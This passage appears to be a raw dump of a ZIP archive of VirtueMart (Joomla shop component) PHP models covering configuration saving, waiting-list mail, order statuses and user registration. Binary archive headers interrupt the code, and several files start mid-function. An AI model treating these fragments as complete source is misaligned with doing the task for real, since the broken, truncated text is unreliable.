      '; foreach ($searchFieldsArray as $key => $field ) { if (in_array($field, $searchChecked) ) { $checked = 'checked="checked"'; } else { $checked = ''; } $fieldWithoutPrefix = $field; $dotps = strrpos($fieldWithoutPrefix, '.'); if($dotps!==false){ $prefix = substr($field, 0,$dotps+1); $fieldWithoutPrefix = substr($field, $dotps+1); } $text = JText::_('COM_VIRTUEMART_'.strtoupper($fieldWithoutPrefix)) ; if ($type == 'browse_orderby_fields' or $type == 'browse_cat_orderby_field'){ $searchFields->select[] = JHTML::_('select.option', $field, $text) ; } $searchFields->checkbox .= '
    • '; } $searchFields->checkbox .='
    '; return $searchFields; } /** * Save the configuration record * * @author Max Milbers * @return boolean True is successful, false otherwise */ function store(&$data,$replace = FALSE) { vRequest::vmCheckToken(); //$data['active_languages'] = strtolower(strtr($data['active_languages'],'-','_')); //ATM we want to ensure that only one config is used $config = VmConfig::loadConfig(TRUE); if(!self::checkConfigTableExists()){ VmConfig::installVMconfig(false); } $browse_cat_orderby_field = $config->get('browse_cat_orderby_field'); $cat_brws_orderby_dir = $config->get('cat_brws_orderby_dir'); $config->setParams($data,$replace); $confData = array(); $query = 'SELECT * FROM `#__virtuemart_configs`'; $this->_db->setQuery($query); if($this->_db->loadResult()){ $confData['virtuemart_config_id'] = 1; } else { $confData['virtuemart_config_id'] = 0; } $urls = array('assets_general_path','media_category_path','media_product_path','media_manufacturer_path','media_vendor_path'); foreach($urls as $urlkey){ $url = trim($config->get($urlkey)); $length = strlen($url); if(strrpos($url,'/')!=($length-1)){ $config->set($urlkey,$url.'/'); vmInfo('Corrected media url '.$urlkey.' added missing /'); } } //If empty it is not sent by the form, other forms do it by using a table to store, //the config is like a big xparams and so we check some values for this form manually /*$toSetEmpty = array('active_languages','inv_os','email_os_v','email_os_s'); foreach($toSetEmpty as $item){ if(!isset($data[$item])) { $config->set($item,array()); } }*/ $checkCSVInput = array('pagseq','pagseq_1','pagseq_2','pagseq_3','pagseq_4','pagseq_5'); foreach($checkCSVInput as $csValueKey){ $csValue = $config->get($csValueKey); if(!empty($csValue)){ $sequenceArray = explode(',', $csValue); foreach($sequenceArray as &$csV){ $csV = (int)trim($csV); } $csValue = implode(',',$sequenceArray); $config->set($csValueKey,$csValue); } } $safePath = trim($config->get('forSale_path')); if(!empty($safePath)){ if(DS!='/' and strpos($safePath,'/')!==false){ $safePath=str_replace('/',DS,$safePath); vmInfo('Corrected safe path, replaced / by '.DS); vmdebug('$safePath',$safePath); } $length = strlen($safePath); if(strrpos($safePath,DS)!=($length-1)){ $safePath = $safePath.DS; vmInfo('Corrected safe path, added missing '.DS); } $config->set('forSale_path',$safePath); } else { $safePath = JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'vmfiles'; $exists = JFolder::exists($safePath); if(!$exists){ $created = JFolder::create($safePath); $safePath = $safePath.DS; if($created){ vmInfo('COM_VIRTUEMART_SAFE_PATH_DEFAULT_CREATED',$safePath); /* create htaccess file */ $fileData = "order deny, allow\ndeny from all\nallow from none"; JLoader::import('joomla.filesystem.file'); $fileName = $safePath.DS.'.htaccess'; $result = JFile::write($fileName, $fileData); if (!$result) { VmWarn('COM_VIRTUEMART_HTACCESS_DEFAULT_NOT_CREATED',$safePath,$fileData); } $config->set('forSale_path',$safePath); } else { VmWarn('COM_VIRTUEMART_WARN_SAFE_PATH_NO_INVOICE',JText::_('COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH')); } } } if(!class_exists('shopfunctions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'shopfunctions.php'); $safePath = shopFunctions::checkSafePath($safePath); if(!empty($safePath)){ $exists = JFolder::exists($safePath.'invoices'); if(!$exists){ $created = JFolder::create($safePath.'invoices'); if($created){ vmInfo('COM_VIRTUEMART_SAFE_PATH_INVOICE_CREATED'); } else { VmWarn('COM_VIRTUEMART_WARN_SAFE_PATH_NO_INVOICE',JText::_('COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH')); } } } if(!$config->get('active_languages',false)){ $confData['active_languages'] = array(VmConfig::$langTag); } $confData['config'] = $config->toString(); $confTable = $this->getTable('configs'); if (!$confTable->bindChecknStore($confData)) { vmError($confTable->getError()); } // Load the newly saved values into the session. $config = VmConfig::loadConfig(true); if(!class_exists('GenericTableUpdater')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'tableupdater.php'); $updater = new GenericTableUpdater(); $result = $updater->createLanguageTables(); /* This conditions is not enough, if the language changes we need to recall the cache. $newbrowse_cat_orderby_field = $config->get('browse_cat_orderby_field'); $newcat_brws_orderby_dir = $config->get('cat_brws_orderby_dir'); if($browse_cat_orderby_field!=$newbrowse_cat_orderby_field or $newcat_brws_orderby_dir!=$cat_brws_orderby_dir){ $cache = JFactory::getCache('com_virtuemart_cats','callback'); $cache->clean(); }*/ $cache = JFactory::getCache('com_virtuemart_cats','callback'); $cache->clean(); $cache = JFactory::getCache('com_virtuemart_rss','callback'); $cache->clean(); $cache = JFactory::getCache('convertECB','callback'); $cache->clean(); $cache = JFactory::getCache('_virtuemart'); $cache->clean(); $cache = JFactory::getCache('com_plugins'); $cache->clean(); $cache = JFactory::getCache('_system'); $cache->clean(); $cache = JFactory::getCache('page'); $cache->clean(); return true; } public static function checkConfigTableExists(){ $db = JFactory::getDBO(); $query = 'SHOW TABLES LIKE "'.$db->getPrefix().'virtuemart_configs"'; $db->setQuery($query); $configTable = $db->loadResult(); $err = $db->getErrorMsg(); if(!empty($err) or !$configTable){ return false; } else { return true; } } static public function checkVirtuemartInstalled(){ $db = JFactory::getDBO(); $query = 'SHOW TABLES LIKE "'.$db->getPrefix().'virtuemart%"'; $db->setQuery($query); $vmTables = $db->loadColumn(); $err = $db->getErrorMsg(); if(!empty($err) or !$vmTables or count($vmTables)<2){ return false; } else { return true; } } /** * Dangerous tools get disabled after execution an operation which needed that rights. * This is the function actually doing it. * * @author Max Milbers */ function setDangerousToolsOff(){ if(self::checkConfigTableExists()){ $dangerousTools = VmConfig::readConfigFile(true); if( $dangerousTools){ $uri = JFactory::getURI(); $link = $uri->root() . 'administrator/index.php?option=com_virtuemart&view=config'; $lang = JText::sprintf('COM_VIRTUEMART_SYSTEM_DANGEROUS_TOOL_STILL_ENABLED',JText::_('COM_VIRTUEMART_ADMIN_CFG_DANGEROUS_TOOLS'),$link); VmInfo($lang); } else { $data['dangeroustools'] = 0; $data['virtuemart_config_id'] = 1; $this->store($data); } } } public function remove() { $table = $this->getTable('configs'); $id = 1; if (!$table->delete($id)) { vmError(get_class( $this ).'::remove '.$id.' '.$table->getError(),'Cannot delete config'); return false; } return true; } /** * This function deletes a config stored in the database * * @author Max Milbers */ function deleteConfig(){ if($this->remove()){ return VmConfig::loadConfig(true,true); } else { return false; } } } //pure php no closing tagPKsl>\s(؜Tcom_virtuemart_update/administrator/components/com_virtuemart/models/waitinglist.phpnuW+AsetQuery ($q); return $db->loadObjectList (); } /** * Notify customers product is back in stock * * @author RolandD * @author Christopher Rouseel * @todo Add Itemid * @todo Do something if the mail cannot be send * @todo Update mail from * @todo Get the from name/email from the vendor */ public function notifyList ($virtuemart_product_id, $subject = '', $mailbody = '', $max_number = 0) { if (!$virtuemart_product_id) { return FALSE; } //sanitize id $virtuemart_product_id = (int)$virtuemart_product_id; $max_number = (int)$max_number; if (!class_exists ('shopFunctionsF')) { require(JPATH_VM_SITE . DS . 'helpers' . DS . 'shopfunctionsf.php'); } $vars = array(); $waiting_users = $this->getWaitingusers ($virtuemart_product_id); /* Load the product details */ $db = JFactory::getDbo (); $q = "SELECT l.product_name,product_in_stock FROM `#__virtuemart_products_" . VMLANG . "` l JOIN `#__virtuemart_products` p ON p.virtuemart_product_id=l.virtuemart_product_id WHERE p.virtuemart_product_id = " . $virtuemart_product_id; $db->setQuery ($q); $item = $db->loadObject (); $vars['productName'] = $item->product_name; /* if ($item->product_in_stock <= 0) { return FALSE; } */ $url = JURI::root () . 'index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id=' . $virtuemart_product_id; $vars['link'] = ''. $item->product_name.''; if (empty($subject)) { $subject = JText::sprintf('COM_VIRTUEMART_PRODUCT_WAITING_LIST_EMAIL_SUBJECT', $item->product_name); } $vars['subject'] = $subject; $vars['mailbody'] = $mailbody; $virtuemart_vendor_id = 1; $vendorModel = VmModel::getModel ('vendor'); $vendor = $vendorModel->getVendor ($virtuemart_vendor_id); $vendorModel->addImages ($vendor); $vars['vendor'] = $vendor; $vars['vendorAddress']= shopFunctions::renderVendorAddress($virtuemart_vendor_id); $vendorEmail = $vendorModel->getVendorEmail ($virtuemart_vendor_id); $vars['vendorEmail'] = $vendorEmail; $i = 0; foreach ($waiting_users as $waiting_user) { $vars['user'] = $waiting_user->name ; if (shopFunctionsF::renderMail ('productdetails', $waiting_user->notify_email, $vars, 'productdetails')) { $db->setQuery ('UPDATE #__virtuemart_waitingusers SET notified=1 WHERE virtuemart_waitinguser_id=' . $waiting_user->virtuemart_waitinguser_id); $db->query (); $i++; } if (!empty($max_number) && $i >= $max_number) { break; } } return TRUE; } /** * Add customer to the waiting list for specific product * * @author Seyi Awofadeju * @return insert_id if the save was successful, false otherwise. */ public function adduser ($data) { JRequest::checkToken () or jexit ('Invalid Token, in notify customer'); $field = $this->getTable ('waitingusers'); if (!$field->bind ($data)) { // Bind data vmError ($field->getError ()); return FALSE; } if (!$field->check ()) { // Perform data checks vmError ($field->getError ()); return FALSE; } $_id = $field->store (); if ($_id === FALSE) { // Write data to the DB vmError ($field->getError ()); return FALSE; } //jexit(); return $_id; } } // pure php no closing tag PKsl>\XTcom_virtuemart_update/administrator/components/com_virtuemart/models/orderstatus.phpnuW+AsetMainTable('orderstates'); } function getVMCoreStatusCode(){ return array( 'P','S'); } /** * Retrieve a list of order statuses from the database. * * @return object List of order status objects */ function getOrderStatusList() { if (JRequest::getWord('view') !== 'orderstatus') $ordering = ' order by `ordering` '; else $ordering = $this->_getOrdering(); $this->_noLimit=true; $this->_data = $this->exeSortSearchListQuery(0,'*',' FROM `#__virtuemart_orderstates`','','',$ordering); // vmdebug('order data',$this->_data); return $this->_data ; } /** * Return the order status names * * @author Kohl Patrick * @access public * * @param char $_code Order status code * @return string The name of the order status */ public function getOrderStatusNames () { $q = 'SELECT `order_status_name`,`order_status_code` FROM `#__virtuemart_orderstates` order by `ordering` '; $this->_db->setQuery($q); return $this->_db->loadAssocList('order_status_code'); } function renderOSList($value,$name = 'order_status',$multiple=FALSE,$attrs='',$langkey='' ){ $idA = $id = $name; $attrs .= ' class="inputbox" '; if ($multiple) { $attrs .= ' multiple="multiple" '; if(empty($langkey)) $langkey = 'COM_VIRTUEMART_DRDOWN_SELECT_SOME_OPTIONS'; $attrs .= ' data-placeholder="'.JText::_($langkey).'"'; $idA .= '[]'; } else { if(empty($langkey)) $langkey = 'COM_VIRTUEMART_LIST_EMPTY_OPTION'; } if(is_array($value)){ $hashValue = implode($value); } else { $hashValue = $value; } $hash = md5($hashValue.$name.$attrs); if (!isset($this->_renderStatusList[$hash])) { $orderStates = $this->getOrderStatusNames(); $emptyOption = JHTML::_ ('select.option', -1, JText::_ ($langkey), 'order_status_code', 'order_status_name'); array_unshift ($orderStates, $emptyOption); if ($multiple) { $attrs .=' size="'.count($orderStates).'" '; } $this->_renderStatusList[$hash] = JHTML::_('select.genericlist', $orderStates, $idA, $attrs, 'order_status_code', 'order_status_name', $value,$id,true); } return $this->_renderStatusList[$hash] ; } function renderOrderStatusList($value, $name = 'order_status[]' ) { $id = substr($name,0,-2); return $this->renderOSList($value,$id,TRUE); } } //No Closing tag PKsl>\%ٵMcom_virtuemart_update/administrator/components/com_virtuemart/models/user.phpnuW+AsetMainTable('vmusers'); $this->setToggleName('user_is_vendor'); $this->addvalidOrderingFieldName(array('ju.username','ju.name','sg.virtuemart_shoppergroup_id','shopper_group_name','shopper_group_desc') ); array_unshift($this->_validOrderingFieldName,'ju.id'); // $user = JFactory::getUser(); // $this->_id = $user->id; } /** * public function Resets the user id and data * * * @author Max Milbers */ public function setId($cid){ $user = JFactory::getUser(); //anonymous sets to 0 for a new entry if(empty($user->id)){ $userId = 0; //echo($this->_id,'Recognized anonymous case'); } else { //not anonymous, but no cid means already registered user edit own data if(empty($cid)){ $userId = $user->id; // vmdebug('setId setCurrent $user',$user->get('id')); } else { if($cid != $user->id){ if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(Permissions::getInstance()->check("admin")) { $userId = $cid; // vmdebug('Admin watches user, setId '.$cid); } else { JError::raiseWarning(1,'Hacking attempt'); $userId = $user->id; } }else { $userId = $user->id; } } } $this->setUserId($userId); return $userId; } /** * Internal function * * @param unknown_type $id */ private function setUserId($id){ $app = JFactory::getApplication(); // if($app->isAdmin()){ if($this->_id!=$id){ $this->_id = (int)$id; $this->_data = null; $this->customer_number = 0; } // } } public function getCurrentUser(){ $user = JFactory::getUser(); $this->setUserId($user->id); return $this->getUser(); } private $_defaultShopperGroup = 0; /** * Sets the internal user id with given vendor Id * * @author Max Milbers * @param int $vendorId */ function getVendor($vendorId=1,$return=TRUE){ $vendorModel = VmModel::getModel('vendor'); $userId = VirtueMartModelVendor::getUserIdByVendorId($vendorId); if($userId){ $this->setUserId($userId); if($return){ return $this->getUser(); } } else { return false; } } /** * Retrieve the detail record for the current $id if the data has not already been loaded. * @author Max Milbers */ function getUser(){ if(!empty($this->_data)) return $this->_data; if(empty($this->_db)) $this->_db = JFactory::getDBO(); $this->_data = $this->getTable('vmusers'); $this->_data->load((int)$this->_id); // vmdebug('$this->_data->vmusers',$this->_data); $this->_data->JUser = JUser::getInstance($this->_id); // vmdebug('$this->_data->JUser',$this->_data->JUser); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); $this->_data->perms = Permissions::getInstance()->getPermissions((int)$this->_id); // Add the virtuemart_shoppergroup_ids $xrefTable = $this->getTable('vmuser_shoppergroups'); $this->_data->shopper_groups = $xrefTable->load($this->_id); $shoppergroupmodel = VmModel::getModel('ShopperGroup'); $site = JFactory::getApplication ()->isSite (); if($site){ if(empty($this->_data->shopper_groups)) $this->_data->shopper_groups = array(); $shoppergroupmodel->appendShopperGroups($this->_data->shopper_groups,$this->_data->JUser,$site); } if(!empty($this->_id)) { $q = 'SELECT `virtuemart_userinfo_id` FROM `#__virtuemart_userinfos` WHERE `virtuemart_user_id` = "' . (int)$this->_id.'"'; $this->_db->setQuery($q); $userInfo_ids = $this->_db->loadResultArray(0); } else { $userInfo_ids = array(); } // vmdebug('my query',$this->_db->getQuery()); //vmdebug('my $_ui',$userInfo_ids,$this->_id); $this->_data->userInfo = array (); $BTuid = 0; foreach($userInfo_ids as $uid){ $this->_data->userInfo[$uid] = $this->getTable('userinfos'); $this->_data->userInfo[$uid]->load($uid); if ($this->_data->userInfo[$uid]->address_type == 'BT') { $BTuid = $uid; $this->_data->userInfo[$BTuid]->name = $this->_data->JUser->name; $this->_data->userInfo[$BTuid]->email = $this->_data->JUser->email; $this->_data->userInfo[$BTuid]->username = $this->_data->JUser->username; $this->_data->userInfo[$BTuid]->address_type = 'BT'; // vmdebug('$this->_data->vmusers',$this->_data); } } // vmdebug('user_is_vendor ?',$this->_data->user_is_vendor); if($this->_data->user_is_vendor){ $vendorModel = VmModel::getModel('vendor'); if(Vmconfig::get('multix','none')=='none'){ $this->_data->virtuemart_vendor_id = 1; //vmdebug('user model, single vendor',$this->_data->virtuemart_vendor_id); } $vendorModel->setId($this->_data->virtuemart_vendor_id); $this->_data->vendor = $vendorModel->getVendor(); } return $this->_data; } /** * Retrieve contact info for a user if any * * @return array of null */ function getContactDetails() { if ($this->_id) { $this->_db->setQuery('SELECT * FROM #__contact_details WHERE user_id = ' . $this->_id); $_contacts = $this->_db->loadObjectList(); if (count($_contacts) > 0) { return $_contacts[0]; } } return null; } /** * Functions belonging to get_groups_below_me Taken with correspondence from CommunityBuilder * adjusted to the our needs * @version $Id: user.php 6543 2012-10-16 06:41:27Z Milbo $ * @package Community Builder * @subpackage cb.acl.php * @author Beat and mambojoe * @author Max Milbers * @copyright (C) Beat, www.joomlapolis.com * @license http://www.gnu.org/licenses/old-licenses/gpl-2.0.html GNU/GPL version 2 */ function get_object_id( $var_1 = null, $var_2 = null, $var_3 = null ) { if ( JVM_VERSION === 2) { $return = $var_2; } else { $return = $this->_acl->get_object_id( $var_1, $var_2, $var_3 ); } return $return; } /** * Taken with correspondence from CommunityBuilder * adjusted to the our needs * @version $Id: user.php 6543 2012-10-16 06:41:27Z Milbo $ * @package Community Builder * @subpackage cb.acl.php * @author Beat and mambojoe * @author Max Milbers * @copyright (C) Beat, www.joomlapolis.com * @license http://www.gnu.org/licenses/old-licenses/gpl-2.0.html GNU/GPL version 2 */ function get_object_groups( $var_1 = null, $var_2 = null, $var_3 = null ) { if ( version_compare(JVERSION,'1.6.0','ge') ) { $user_id = ( is_integer( $var_1 ) ? $var_1 : $var_2 ); $recurse = ( $var_3 == 'RECURSE' ? true : false ); $return = $this->_acl->getGroupsByUser( $user_id, $recurse ); } else { if ( ! $var_2 ) { $var_2 = 'ARO'; } if ( ! $var_3 ) { $var_3 = 'NO_RECURSE'; } $return = $this->_acl->get_object_groups( $var_1, $var_2, $var_3 ); } return $return; } /** * Remap literal groups (such as in default values) to the hardcoded CMS values * * @param string|array $name of int|string * @return int|array of int */ function mapGroupNamesToValues( $name ) { static $ps = null; $selected = (array) $name; foreach ( $selected as $k => $v ) { if ( ! is_numeric( $v ) ) { if ( ! $ps ) { if ( JVM_VERSION === 2 ) { $ps = array( 'Root' => 0 , 'Users' => 0 , 'Public' => 1, 'Registered' => 2, 'Author' => 3, 'Editor' => 4, 'Publisher' => 5, 'Backend' => 0 , 'Manager' => 6, 'Administrator' => 7, 'Superadministrator' => 8 ); } else { $ps = array( 'Root' => 17, 'Users' => 28, 'Public' => 29, 'Registered' => 18, 'Author' => 19, 'Editor' => 20, 'Publisher' => 21, 'Backend' => 30, 'Manager' => 23, 'Administrator' => 24, 'Superadministrator' => 25 ); } } if ( array_key_exists( $v, $ps ) ) { if ( $ps[$v] != 0 ) { $selected[$k] = $ps[$v]; } else { unset( $selected[$k] ); } } else { $selected[$k] = (int) $v; } } } if ( ! is_array( $name ) ) { $selected = $selected[0]; } return $selected; } function get_group_children_tree( $var_1 = null, $var_2 = null, $var_3 = null, $var_4 = null ) { $_CB_database = &$this->getDbo(); if ( ! $var_4 ) { $var_4 = true; } if ( JVM_VERSION === 2 ) { $query = 'SELECT a.' . $_CB_database->NameQuote( 'id' ) . ' AS value' . ', a.' . $_CB_database->NameQuote( 'title' ) . ' AS text' . ', COUNT( DISTINCT b.' . $_CB_database->NameQuote( 'id' ) . ' ) AS level' . "\n FROM " . $_CB_database->NameQuote( '#__usergroups' ) . " AS a" . "\n LEFT JOIN " . $_CB_database->NameQuote( '#__usergroups' ) . " AS b" . ' ON a.' . $_CB_database->NameQuote( 'lft' ) . ' > b.' . $_CB_database->NameQuote( 'lft' ) . ' AND a.' . $_CB_database->NameQuote( 'rgt' ) . ' < b.' . $_CB_database->NameQuote( 'rgt' ) . "\n GROUP BY a." . $_CB_database->NameQuote( 'id' ) . "\n ORDER BY a." . $_CB_database->NameQuote( 'lft' ) . " ASC"; $_CB_database->setQuery( $query ); $groups = $_CB_database->loadObjectList(); $user_groups = array(); for ( $i = 0, $n = count( $groups ); $i < $n; $i++ ) { $groups[$i]->text = str_repeat( '- ', $groups[$i]->level ) . JText::_( $groups[$i]->text ); if ( $var_4 ) { $user_groups[$i] = JHtml::_( 'select.option', $groups[$i]->value, $groups[$i]->text ); } else { $user_groups[$i] = array( 'value' => $groups[$i]->value, 'text' => $groups[$i]->text ); } } $return = $user_groups; } else { if ( ! $var_3 ) { $var_3 = true; } $return = $this->_acl->get_group_children_tree( $var_1, $var_2, $var_3, $var_4 ); } return $return; } /** * Return a list with groups that can be set by the current user * * @return mixed Array with groups that can be set, or the groupname (string) if it cannot be changed. */ function getGroupList() { if(JVM_VERSION === 2) { //hm CB thing also not help // $_grpList = $this->get_groups_below_me(); // return $_grpList; /* if(!class_exists('UsersModelUser')) require(JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_users'.DS.'models'.DS.'user.php'); $jUserModel = new UsersModelUser(); $list = $jUserModel->getGroups(); $user = JFactory::getUser(); if ($user->authorise('core.edit', 'com_users') && $user->authorise('core.manage', 'com_users')) { $model = JModel::getInstance('Groups', 'UsersModel', array('ignore_request' => true)); return $model->getItems(); } else { return null; }*/ $user = JFactory::getUser(); $authGroups = JAccess::getGroupsByUser($user->id); // $authGroups = $user->getAuthorisedGroups(); // vmdebug('getGroupList j17',$authGroups); $db = $this->getDbo(); $where = implode($authGroups,'" OR `id` = "').'"'; $q = 'SELECT `id` as value,`title` as text FROM #__usergroups WHERE `id` = "'.$where; $db->setQuery($q); $list = $db->loadAssocList(); // foreach($list as $item){ // vmdebug('getGroupList $item ',$item); // } // vmdebug('getGroupList $q '.$list); return $list; } else { $_aclObject = JFactory::getACL(); if(empty($this->_data)) $this->getUser(); if (JVM_VERSION>1){ //TODO fix this latter. It's just an workarround to make it working on 1.6 $gids = $this->_data->JUser->get('groups'); return array_flip($gids); } $_usr = $_aclObject->get_object_id ('users', $this->_data->JUser->get('id'), 'ARO'); $_grp = $_aclObject->get_object_groups ($_usr, 'ARO'); $_grpName = strtolower ($_aclObject->get_group_name($_grp[0], 'ARO')); $_currentUser = JFactory::getUser(); $_my_usr = $_aclObject->get_object_id ('users', $_currentUser->get('id'), 'ARO'); $_my_grp = $_aclObject->get_object_groups ($_my_usr, 'ARO'); $_my_grpName = strtolower ($_aclObject->get_group_name($_my_grp[0], 'ARO')); // administrators can't change each other and frontend-only users can only see groupnames if (( $_grpName == $_my_grpName && $_my_grpName == 'administrator' ) || !$_aclObject->is_group_child_of($_my_grpName, 'Public Backend')) { return $_grpName; } else { $_grpList = $_aclObject->get_group_children_tree(null, 'USERS', false); $_remGroups = $_aclObject->get_group_children( $_my_grp[0], 'ARO', 'RECURSE' ); if (!$_remGroups) { $_remGroups = array(); } // Make sure privs higher than my own can't be granted if (in_array($_grp[0], $_remGroups)) { // nor can privs of users with higher privs be decreased. return $_grpName; } $_i = 0; $_j = count($_grpList); while ($_i < $_j) { if (in_array($_grpList[$_i]->value, $_remGroups)) { array_splice( $_grpList, $_i, 1 ); $_j = count($_grpList); } else { $_i++; } } return $_grpList; } } } /** * Bind the post data to the JUser object and the VM tables, then saves it * It is used to register new users * This function can also change already registered users, this is important when a registered user changes his email within the checkout. * * @author Max Milbers * @author Oscar van Eijk * @return boolean True is the save was successful, false otherwise. */ public function store(&$data,$checkToken = TRUE){ $message = ''; $user = ''; $newId = 0; if($checkToken){ JRequest::checkToken() or jexit( 'Invalid Token, while trying to save user' ); $mainframe = JFactory::getApplication() ; } if(empty($data)){ vmError('Developer notice, no data to store for user'); return false; } //To find out, if we have to register a new user, we take a look on the id of the usermodel object. //The constructor sets automatically the right id. $new = ($this->_id < 1); if(empty($this->_id)){ $user = new JUser(); //thealmega http://forum.virtuemart.net/index.php?topic=99755.msg393758#msg393758 } else { $user = JFactory::getUser($this->_id); } $gid = $user->get('gid'); // Save original gid // Preformat and control user datas by plugin JPluginHelper::importPlugin('vmuserfield'); $dispatcher = JDispatcher::getInstance(); $valid = true ; $dispatcher->trigger('plgVmOnBeforeUserfieldDataSave',array(&$valid,$this->_id,&$data,$user )); // $valid must be false if plugin detect an error if( $valid == false ) { return false; } // Before I used this "if($cart && !$new)" // This construction is necessary, because this function is used to register a new JUser, so we need all the JUser data in $data. // On the other hand this function is also used just for updating JUser data, like the email for the BT address. In this case the // name, username, password and so on is already stored in the JUser and dont need to be entered again. if(empty ($data['email'])){ $email = $user->get('email'); if(!empty($email)){ $data['email'] = $email; } } else { $data['email'] = JRequest::getString('email', '', 'post', 'email'); } $data['email'] = str_replace(array('\'','"',',','%','*','/','\\','?','^','`','{','}','|','~'),array(''),$data['email']); //This is important, when a user changes his email address from the cart, //that means using view user layout edit_address (which is called from the cart) $user->set('email',$data['email']); if(empty ($data['name'])){ $name = $user->get('name'); if(!empty($name)){ $data['name'] = $name; } } else { $data['name'] = JRequest::getString('name', '', 'post', 'name'); } $data['name'] = str_replace(array('\'','"',',','%','*','/','\\','?','^','`','{','}','|','~'),array(''),$data['name']); if(empty ($data['username'])){ $username = $user->get('username'); if(!empty($username)){ $data['username'] = $username; } else { $data['username'] = JRequest::getVar('username', '', 'post', 'username'); } } if(empty ($data['password'])){ $data['password'] = JRequest::getVar('password', '', 'post', 'string' ,JREQUEST_ALLOWRAW); } if(empty ($data['password2'])){ $data['password2'] = JRequest::getVar('password2', '', 'post', 'string' ,JREQUEST_ALLOWRAW); } if(!$new && !empty($data['password']) && empty($data['password2'])){ unset($data['password']); unset($data['password2']); } // Bind Joomla userdata if (!$user->bind($data)) { foreach($user->getErrors() as $error) { // vmError('user bind '.$error); vmError('user bind '.$error,JText::sprintf('COM_VIRTUEMART_USER_STORE_ERROR',$error)); } $message = 'Couldnt bind data to joomla user'; array('user'=>$user,'password'=>$data['password'],'message'=>$message,'newId'=>$newId,'success'=>false); } if($new){ // If user registration is not allowed, show 403 not authorized. // But it is possible for admins and storeadmins to save $usersConfig = JComponentHelper::getParams( 'com_users' ); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if (!Permissions::getInstance()->check("admin,storeadmin") && $usersConfig->get('allowUserRegistration') == '0') { VmConfig::loadJLang('com_virtuemart'); JError::raiseError( 403, JText::_('COM_VIRTUEMART_ACCESS_FORBIDDEN')); return; } $authorize = JFactory::getACL(); // Initialize new usertype setting $newUsertype = $usersConfig->get( 'new_usertype' ); if (!$newUsertype) { if ( JVM_VERSION===1){ $newUsertype = 'Registered'; } else { $newUsertype = 2; } } // Set some initial user values $user->set('usertype', $newUsertype); if ( JVM_VERSION===1){ $user->set('gid', $authorize->get_group_id( '', $newUsertype, 'ARO' )); } else { $user->groups[] = $newUsertype; } $date = JFactory::getDate(); $user->set('registerDate', $date->toMySQL()); // If user activation is turned on, we need to set the activation information $useractivation = $usersConfig->get( 'useractivation' ); $doUserActivation=false; if ( JVM_VERSION===1){ if ($useractivation == '1' ) { $doUserActivation=true; } } else { if ($useractivation == '1' or $useractivation == '2') { $doUserActivation=true; } } vmdebug('user',$useractivation , $doUserActivation); if ($doUserActivation ) { jimport('joomla.user.helper'); $user->set('activation', JUtility::getHash( JUserHelper::genRandomPassword()) ); $user->set('block', '1'); //$user->set('lastvisitDate', '0000-00-00 00:00:00'); } } $option = JRequest::getCmd( 'option'); // If an exising superadmin gets a new group, make sure enough admins are left... if (!$new && $user->get('gid') != $gid && $gid == __SUPER_ADMIN_GID) { if ($this->getSuperAdminCount() <= 1) { vmError(JText::_('COM_VIRTUEMART_USER_ERR_ONLYSUPERADMIN')); return false; } } if(isset($data['language'])){ $user->setParam('language',$data['language']); } // Save the JUser object if (!$user->save()) { vmError(JText::_( $user->getError()) , JText::_( $user->getError())); return false; } //vmdebug('my user, why logged in? ',$user); $newId = $user->get('id'); $data['virtuemart_user_id'] = $newId; //We need this in that case, because data is bound to table later $this->setUserId($newId); //Save the VM user stuff if(!$this->saveUserData($data) || !self::storeAddress($data)){ vmError('COM_VIRTUEMART_NOT_ABLE_TO_SAVE_USER_DATA'); // vmError(Jtext::_('COM_VIRTUEMART_NOT_ABLE_TO_SAVE_USERINFO_DATA')); } else { if ($new) { $this->sendRegistrationEmail($user,$user->password_clear, $doUserActivation); if ($doUserActivation ) { vmInfo('COM_VIRTUEMART_REG_COMPLETE_ACTIVATE'); } else { vmInfo('COM_VIRTUEMART_REG_COMPLETE'); $user->set('activation', '' ); $user->set('block', '0'); $user->set('guest', '0'); } } else { vmInfo('COM_VIRTUEMART_USER_DATA_STORED'); } } //The extra check for isset vendor_name prevents storing of the vendor if there is no form (edit address cart) if((int)$data['user_is_vendor']==1 and isset($data['vendor_name'])){ vmdebug('vendor recognised '.$data['virtuemart_vendor_id']); if($this ->storeVendorData($data)){ if ($new) { if ($doUserActivation ) { vmInfo('COM_VIRTUEMART_REG_VENDOR_COMPLETE_ACTIVATE'); } else { vmInfo('COM_VIRTUEMART_REG_VENDOR_COMPLETE'); } } else { vmInfo('COM_VIRTUEMART_VENDOR_DATA_STORED'); } } } return array('user'=>$user,'password'=>$data['password'],'message'=>$message,'newId'=>$newId,'success'=>true); } /** * This function is NOT for anonymous. Anonymous just get the information directly sent by email. * This function saves the vm Userdata for registered JUsers. * TODO, setting of shoppergroup isnt done * * TODO No reason not to use this function for new users, but it requires a Joomla plugin * that gets fired by the onAfterStoreUser. I'll built that (OvE) * * Notice: * As long we do not have the silent registration, an anonymous does not get registered. It is enough to send the virtuemart_order_id * with the email. The order is saved with all information in an extra table, so there is * no need for a silent registration. We may think about if we actually need/want the feature silent registration * The information of anonymous is stored in the order table and has nothing todo with the usermodel! * * @author Max Milbers * @author Oscar van Eijk * return boolean */ public function saveUserData(&$data,$trigger=true){ if(empty($this->_id)){ echo 'This is a notice for developers, you used this function for an anonymous user, but it is only designed for already registered ones'; vmError( 'This is a notice for developers, you used this function for an anonymous user, but it is only designed for already registered ones'); return false; } $noError = true; $usertable = $this->getTable('vmusers'); $alreadyStoredUserData = $usertable->load($this->_id); $app = JFactory::getApplication(); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(!Permissions::getInstance()->check("admin")){ unset($data['virtuemart_vendor_id']); unset($data['user_is_vendor']); $data['user_is_vendor'] = 